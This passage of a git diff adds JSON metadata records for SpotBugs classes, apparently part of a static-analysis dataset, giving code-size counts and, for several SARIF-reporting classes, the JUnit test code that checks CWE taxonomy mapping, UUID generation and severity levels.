0000000..fbc6f29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ConstraintGraph.json @@ -0,0 +1,13 @@ +{ + "name": "ConstraintGraph", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorFactorySelector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorFactorySelector.json new file mode 100644 index 0000000..8cd8a0e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorFactorySelector.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorFactorySelector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorNode.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorNode.json new file mode 100644 index 0000000..5ba3f8b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorNode.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorNode", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorOrderingConstraint.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorOrderingConstraint.json new file mode 100644 index 0000000..8de301b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/DetectorOrderingConstraint.json @@ -0,0 +1,13 @@ +{ + "name": "DetectorOrderingConstraint", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ExecutionPlan.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ExecutionPlan.json new file mode 100644 index 0000000..a2f9e99 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ExecutionPlan.json @@ -0,0 +1,13 @@ +{ + "name": "ExecutionPlan", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 528, + "branches": 62, + "apis": 124, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/OrderingConstraintException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/OrderingConstraintException.json new file mode 100644 index 0000000..d18d039 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/OrderingConstraintException.json @@ -0,0 +1,13 @@ +{ + "name": "OrderingConstraintException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ReportingDetectorFactorySelector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ReportingDetectorFactorySelector.json new file mode 100644 index 0000000..db558e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/ReportingDetectorFactorySelector.json @@ -0,0 +1,13 @@ +{ + "name": "ReportingDetectorFactorySelector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 64, + "branches": 5, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/SingleDetectorFactorySelector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/SingleDetectorFactorySelector.json new file mode 100644 index 0000000..5f56367 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plan/SingleDetectorFactorySelector.json @@ -0,0 +1,13 @@ +{ + "name": "SingleDetectorFactorySelector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdError.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdError.json new file mode 100644 index 0000000..7639f1a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdError.json @@ -0,0 +1,13 @@ +{ + "name": "DuplicatePluginIdError", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdException.json new file mode 100644 index 0000000..f8716f0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/plugins/DuplicatePluginIdException.json @@ -0,0 +1,13 @@ +{ + "name": "DuplicatePluginIdException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 57, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/AbstractWarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/AbstractWarningProperty.json new file mode 100644 index 0000000..74c420c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/AbstractWarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "AbstractWarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/GeneralWarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/GeneralWarningProperty.json new file mode 100644 index 0000000..1c41f14 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/GeneralWarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "GeneralWarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 74, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/PriorityAdjustment.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/PriorityAdjustment.json new file mode 100644 index 0000000..a21844e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/PriorityAdjustment.json @@ -0,0 +1,13 @@ +{ + "name": "PriorityAdjustment", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 76, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningProperty.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningProperty.json new file mode 100644 index 0000000..9a19d65 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningProperty.json @@ -0,0 +1,13 @@ +{ + "name": "WarningProperty", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertySet.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertySet.json new file mode 100644 index 0000000..154f04c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertySet.json @@ -0,0 +1,13 @@ +{ + "name": "WarningPropertySet", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 285, + "branches": 36, + "apis": 48, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertyUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertyUtil.json new file mode 100644 index 0000000..f75d09d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/props/WarningPropertyUtil.json @@ -0,0 +1,13 @@ +{ + "name": "WarningPropertyUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 212, + "branches": 24, + "apis": 25, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/BugCollectionAnalyser.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/BugCollectionAnalyser.json new file mode 100644 index 0000000..b204dc2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/BugCollectionAnalyser.json @@ -0,0 +1,50 @@ +{ + "name": "BugCollectionAnalyser", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 172, + "branches": 2, + "apis": 57, + "test": [ + { + "description": "testGetRulesGetResultsGetCweTaxonomyNoBug", + "expected-problems": null, + "expected-linenumbers": [ + 21, + 35 + ], + "code": "@Test\n void testGetRulesGetResultsGetCweTaxonomyNoBug() {\n BugCollection bugCollection = new SortedBugCollection();\n\n BugCollectionAnalyser analyser = new BugCollectionAnalyser(bugCollection);\n\n /* test taxonomy */\n assertThat(analyser.getCweTaxonomy(), nullValue());\n\n /* test rules */\n assertThat(analyser.getRules().size(), is(0));\n\n /* test result */\n assertThat(analyser.getResults().size(), is(0));\n }" + }, + { + "description": "testGetRulesGetResultsGetCweTaxonomyOneBugWithCwe", + "expected-problems": null, + "expected-linenumbers": [ + 37, + 82 + ], + "code": "@Test\n void testGetRulesGetResultsGetCweTaxonomyOneBugWithCwe() {\n int cweid = 78;\n String type = \"TYPE\";\n\n BugPattern bugPattern = new BugPattern(type, \"abbrev\", \"category\", false, \"shortDescription\", \"longDescription\",\n \"detailText\", \"https://example.com/help.html\", cweid);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n BugCollection bugCollection = new SortedBugCollection();\n\n BugInstance bug1 = new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10)\n .addClass(\"SampleClass\");\n\n SourceLineAnnotation lineAnnotation = new SourceLineAnnotation(\"SimpleTest\", \"Test.java\", 1, 3, 0, 0);\n bug1.addSourceLine(lineAnnotation);\n\n bugCollection.add(bug1);\n bugCollection.bugsPopulated();\n\n BugCollectionAnalyser analyser = new BugCollectionAnalyser(bugCollection);\n\n /* test taxonomy */\n JsonObject taxonomyJson = analyser.getCweTaxonomy();\n JsonArray taxaJson = taxonomyJson.get(\"taxa\").getAsJsonArray();\n\n assertThat(taxonomyJson.get(\"name\").getAsString(), is(\"CWE\"));\n\n JsonObject taxonJson = taxaJson.get(0).getAsJsonObject();\n assertThat(taxonJson.get(\"id\").getAsString(), is(String.valueOf(cweid)));\n assertThat(taxonJson.get(\"defaultConfiguration\").getAsJsonObject().get(\"level\").getAsString(), is(\"error\"));\n\n /* test rules */\n JsonObject ruleJson = analyser.getRules().get(0).getAsJsonObject();\n JsonObject cweRelationshipJson = ruleJson.get(\"relationships\").getAsJsonArray().get(0).getAsJsonObject();\n JsonObject target = cweRelationshipJson.get(\"target\").getAsJsonObject();\n\n assertThat(ruleJson.get(\"id\").getAsString(), is(type));\n assertThat(target.get(\"id\").getAsString(), is(String.valueOf(cweid)));\n assertThat(cweRelationshipJson.get(\"kinds\").getAsJsonArray().get(0).getAsString(), is(\"superset\"));\n\n /* test result */\n JsonObject resultJson = analyser.getResults().get(0).getAsJsonObject();\n\n assertThat(resultJson.get(\"ruleId\").getAsString(), is(type));\n }" + }, + { + "description": "testGetRulesGetResultsGetCweTaxonomyOneBugNoCweId", + "expected-problems": null, + "expected-linenumbers": [ + 84, + 118 + ], + "code": "@Test\n void testGetRulesGetResultsGetCweTaxonomyOneBugNoCweId() {\n String type = \"TYPE\";\n\n BugPattern bugPattern = new BugPattern(type, \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\", \"detailText\", \"https://example.com/help.html\", 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n BugCollection bugCollection = new SortedBugCollection();\n\n BugInstance bug1 = new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment())\n .addInt(10)\n .addClass(\"SampleClass\");\n\n SourceLineAnnotation lineAnnotation = new SourceLineAnnotation(\"SimpleTest\", \"Test.java\", 1, 3, 0, 0);\n bug1.addSourceLine(lineAnnotation);\n\n bugCollection.add(bug1);\n bugCollection.bugsPopulated();\n\n BugCollectionAnalyser analyser = new BugCollectionAnalyser(bugCollection);\n\n /* test taxonomy */\n assertThat(analyser.getCweTaxonomy(), nullValue());\n\n /* test rules */\n JsonObject ruleJson = analyser.getRules().get(0).getAsJsonObject();\n\n assertThat(ruleJson.get(\"id\").getAsString(), is(type));\n\n /* test result */\n JsonObject resultJson = analyser.getResults().get(0).getAsJsonObject();\n\n assertThat(resultJson.get(\"ruleId\").getAsString(), is(type));\n }" + }, + { + "description": "testGetRulesGetResultsGetCweTaxonomyMultipleBugsWithAndWithoutCweId", + "expected-problems": null, + "expected-linenumbers": [ + 120, + 172 + ], + "code": "@Test\n void testGetRulesGetResultsGetCweTaxonomyMultipleBugsWithAndWithoutCweId() {\n\n BugPattern bugPattern = new BugPattern(\"TYPE_NO_CWE\", \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\", \"detailText\", \"https://example.com/help.html\", 0);\n BugPattern bugPattern2 = new BugPattern(\"TYPE_WITH_CWE\", \"abbrev\", \"category\", false, \"shortDescription\",\n \"longDescription\",\n \"detailText\", \"https://example.com/help.html\", 0);\n\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern2);\n\n BugCollection bugCollection = new SortedBugCollection();\n\n BugInstance bug = new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10)\n .addClass(\"SampleClass\");\n\n BugInstance bug2 = new BugInstance(bugPattern2.getType(), bugPattern2.getPriorityAdjustment()).addInt(3)\n .addClass(\"ExampleClass\");\n\n BugInstance bug3 = new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addInt(10)\n .addClass(\"TestClass\");\n\n BugInstance bug4 = new BugInstance(bugPattern2.getType(), bugPattern2.getPriorityAdjustment()).addInt(10)\n .addClass(\"SimpleClass\");\n\n BugInstance bug5 = new BugInstance(bugPattern2.getType(), bugPattern2.getPriorityAdjustment()).addInt(10)\n .addClass(\"NoClass\");\n\n bug.addSourceLine(new SourceLineAnnotation(\"SimpleTest\", \"Test.java\", 1, 3, 0, 0));\n bug2.addSourceLine(new SourceLineAnnotation(\"SimpleTest2\", \"Test2.java\", 56, 3, 0, 0));\n bug3.addSourceLine(new SourceLineAnnotation(\"SimpleTest3\", \"Test3.java\", 0, 0, 367, 956));\n bug4.addSourceLine(new SourceLineAnnotation(\"SimpleTest\", \"Test4.java\", 4389, 47, 0, 0));\n bug5.addSourceLine(new SourceLineAnnotation(\"SimpleTest\", \"Test5.java\", 0, 0, 1, 3));\n\n bugCollection.add(bug);\n bugCollection.add(bug2);\n bugCollection.add(bug3);\n bugCollection.add(bug4);\n bugCollection.add(bug5);\n bugCollection.bugsPopulated();\n\n BugCollectionAnalyser analyser = new BugCollectionAnalyser(bugCollection);\n\n /* test taxonomy */\n assertThat(analyser.getCweTaxonomy(), nullValue());\n\n /* test rules */\n assertThat(analyser.getRules().size(), is(2));\n\n /* test result */\n assertThat(analyser.getResults().size(), is(5));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Extension.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Extension.json new file mode 100644 index 0000000..06cd996 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Extension.json @@ -0,0 +1,13 @@ +{ + "name": "Extension", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 4, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/GUIDCalculator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/GUIDCalculator.json new file mode 100644 index 0000000..3685a69 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/GUIDCalculator.json @@ -0,0 +1,50 @@ +{ + "name": "GUIDCalculator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 3, + "apis": 12, + "test": [ + { + "description": "testGuidFromNamespaceUsingAsciiChars", + "expected-problems": null, + "expected-linenumbers": [ + 12, + 21 + ], + "code": "@Test\n void testGuidFromNamespaceUsingAsciiChars() {\n // output of: uuid -v 5 '6ba7b811-9dad-11d1-80b4-00c04fd430c8' '22'\n UUID expectedUUID = UUID.fromString(\"51e4ac9a-92ed-5ca5-95ab-f9260e15f813\");\n\n UUID namespace = UUID.fromString(\"6ba7b811-9dad-11d1-80b4-00c04fd430c8\");\n UUID actualGUID = GUIDCalculator.fromNamespaceAndString(namespace, \"22\");\n\n assertThat(actualGUID, is(expectedUUID));\n }" + }, + { + "description": "testGuidFromNamespaceUsingSmiley", + "expected-problems": null, + "expected-linenumbers": [ + 23, + 32 + ], + "code": "@Test\n void testGuidFromNamespaceUsingSmiley() {\n // output of: uuid -v 5 '6ba7b811-9dad-11d1-80b4-00c04fd430c8' '😀'\n UUID expectedUUID = UUID.fromString(\"f0793165-4aab-598c-9164-4efc598481b2\");\n\n UUID namespace = UUID.fromString(\"6ba7b811-9dad-11d1-80b4-00c04fd430c8\");\n UUID actualGUID = GUIDCalculator.fromNamespaceAndString(namespace, \"😀\");\n\n assertThat(actualGUID, is(expectedUUID));\n }" + }, + { + "description": "testGuidFromStringUsingAsciiChars", + "expected-problems": null, + "expected-linenumbers": [ + 34, + 41 + ], + "code": "@Test\n void testGuidFromStringUsingAsciiChars() {\n UUID expectedUUID = UUID.fromString(\"12c6fc06-c99a-5623-b5ee-b3f43dfd832b\");\n\n UUID actualGUID = GUIDCalculator.fromString(\"22\");\n\n assertThat(actualGUID, is(expectedUUID));\n }" + }, + { + "description": "testGuidFromStringUsingSmiley", + "expected-problems": null, + "expected-linenumbers": [ + 44, + 51 + ], + "code": "@Test\n void testGuidFromStringUsingSmiley() {\n UUID expectedUUID = UUID.fromString(\"9c533688-a979-5858-8bd6-a43c9f91aba6\");\n\n UUID actualGUID = GUIDCalculator.fromString(\"😀\");\n\n assertThat(actualGUID, is(expectedUUID));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Invocation.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Invocation.json new file mode 100644 index 0000000..a88a6e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Invocation.json @@ -0,0 +1,13 @@ +{ + "name": "Invocation", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 2, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Level.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Level.json new file mode 100644 index 0000000..90bd3bd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Level.json @@ -0,0 +1,95 @@ +{ + "name": "Level", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 9, + "apis": 3, + "test": [ + { + "description": "testToJsonString", + "expected-problems": null, + "expected-linenumbers": [ + 15, + 21 + ], + "code": "@Test\n void testToJsonString() {\n Gson gson = new Gson();\n JsonObject jsonObject = new JsonObject();\n jsonObject.addProperty(\"level\", Level.WARNING.toJsonString());\n assertThat(gson.toJson(jsonObject), is(\"{\\\"level\\\":\\\"warning\\\"}\"));\n }" + }, + { + "description": "testMapHighestRankToError", + "expected-problems": null, + "expected-linenumbers": [ + 23, + 26 + ], + "code": "@Test\n void testMapHighestRankToError() {\n assertThat(Level.fromBugRank(1), is(Level.ERROR));\n }" + }, + { + "description": "testMapHighRankToError", + "expected-problems": null, + "expected-linenumbers": [ + 28, + 31 + ], + "code": "@Test\n void testMapHighRankToError() {\n assertThat(Level.fromBugRank(9), is(Level.ERROR));\n }" + }, + { + "description": "testMapLowRankToWarning", + "expected-problems": null, + "expected-linenumbers": [ + 33, + 36 + ], + "code": "@Test\n void testMapLowRankToWarning() {\n assertThat(Level.fromBugRank(14), is(Level.WARNING));\n }" + }, + { + "description": "testMapLowestRankToNote", + "expected-problems": null, + "expected-linenumbers": [ + 38, + 41 + ], + "code": "@Test\n void testMapLowestRankToNote() {\n assertThat(Level.fromBugRank(20), is(Level.NOTE));\n }" + }, + { + "description": "testMapWeaknessSeverityLevelHighToError", + "expected-problems": null, + "expected-linenumbers": [ + 43, + 46 + ], + "code": "@Test\n void testMapWeaknessSeverityLevelHighToError() {\n assertThat(Level.fromWeaknessSeverity(WeaknessSeverity.HIGH), is(Level.ERROR));\n }" + }, + { + "description": "testMapWeaknessSeverityLevelMediumToWarning", + "expected-problems": null, + "expected-linenumbers": [ + 48, + 51 + ], + "code": "@Test\n void testMapWeaknessSeverityLevelMediumToWarning() {\n assertThat(Level.fromWeaknessSeverity(WeaknessSeverity.MEDIUM), is(Level.WARNING));\n }" + }, + { + "description": "testMapWeaknessSeverityLevelLowToNote", + "expected-problems": null, + "expected-linenumbers": [ + 53, + 56 + ], + "code": "@Test\n void testMapWeaknessSeverityLevelLowToNote() {\n assertThat(Level.fromWeaknessSeverity(WeaknessSeverity.LOW), is(Level.NOTE));\n }" + }, + { + "description": "testMapWeaknessSeverityLevelNoneToNone", + "expected-problems": null, + "expected-linenumbers": [ + 58, + 61 + ], + "code": "@Test\n void testMapWeaknessSeverityLevelNoneToNone() {\n assertThat(Level.fromWeaknessSeverity(WeaknessSeverity.NONE), is(Level.NONE));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Location.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Location.json new file mode 100644 index 0000000..ad07dd1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Location.json @@ -0,0 +1,13 @@ +{ + "name": "Location", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 379, + "branches": 29, + "apis": 86, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Message.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Message.json new file mode 100644 index 0000000..889b995 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Message.json @@ -0,0 +1,13 @@ +{ + "name": "Message", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 42, + "branches": 3, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/MessageFormat.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/MessageFormat.json new file mode 100644 index 0000000..ffe85b3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/MessageFormat.json @@ -0,0 +1,13 @@ +{ + "name": "MessageFormat", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 8, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Notification.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Notification.json new file mode 100644 index 0000000..c4becd1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Notification.json @@ -0,0 +1,13 @@ +{ + "name": "Notification", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 2, + "apis": 15, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Placeholder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Placeholder.json new file mode 100644 index 0000000..c6f173a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Placeholder.json @@ -0,0 +1,23 @@ +{ + "name": "Placeholder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 6, + "test": [ + { + "description": "testFormatWithKey", + "expected-problems": null, + "expected-linenumbers": [ + 63, + 89 + ], + "code": "@Test\n void testFormatWithKey() throws ClassNotFoundException {\n BugPattern bugPattern = new BugPattern(\"BUG_TYPE\", \"abbrev\", \"category\", false, \"describing about this bug type...\",\n \"describing about this bug type with value {0.givenClass} and {1.name}\", \"detailText\", null, 0);\n DetectorFactoryCollection.instance().registerBugPattern(bugPattern);\n\n JavaClass clazz = Repository.lookupClass(PlaceholderTest.class);\n Method method = Arrays.stream(clazz.getMethods()).filter(m -> m.getName().equals(\"testFormatWithKey\")).findFirst().get();\n reporter.reportBug(new BugInstance(bugPattern.getType(), bugPattern.getPriorityAdjustment()).addClassAndMethod(clazz, method));\n reporter.finish();\n\n String json = writer.toString();\n JsonObject jsonObject = new Gson().fromJson(json, JsonObject.class);\n JsonObject run = (JsonObject) jsonObject.getAsJsonArray(\"runs\").get(0);\n JsonArray rules = run.getAsJsonObject(\"tool\").getAsJsonObject(\"driver\").getAsJsonArray(\"rules\");\n String defaultText = ((JsonObject) rules.get(0)).getAsJsonObject(\"messageStrings\").getAsJsonObject(\"default\").get(\"text\").getAsString();\n assertThat(\"key in placeholders are removed\",\n defaultText, is(\"describing about this bug type with value {0} and {1}.\"));\n\n JsonArray results = run.getAsJsonArray(\"results\");\n JsonObject message = ((JsonObject) results.get(0)).getAsJsonObject(\"message\");\n JsonArray arguments = message.getAsJsonArray(\"arguments\");\n assertThat(\"BugAnnotation has been formatted by the key in placeholder\",\n arguments.get(0).getAsString(), is(\"PlaceholderTest\"));\n assertThat(\"BugAnnotation has been formatted by the key in placeholder\",\n arguments.get(1).getAsString(), is(\"testFormatWithKey\"));\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Result.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Result.json new file mode 100644 index 0000000..d481837 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Result.json @@ -0,0 +1,13 @@ +{ + "name": "Result", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 44, + "branches": 1, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Rule.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Rule.json new file mode 100644 index 0000000..4c4ebd6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/Rule.json @@ -0,0 +1,13 @@ +{ + "name": "Rule", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 130, + "branches": 4, + "apis": 42, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifBugReporter.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifBugReporter.json new file mode 100644 index 0000000..b66a9ba --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/sarif/SarifBugReporter.json @@ -0,0 +1,23 @@ +{ + "name": "SarifBugReporter", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 170, + "branches": 10, + "apis": 63, + "test": [ + { + "description": "testVersionAndSchema", + "expected-problems": null, + 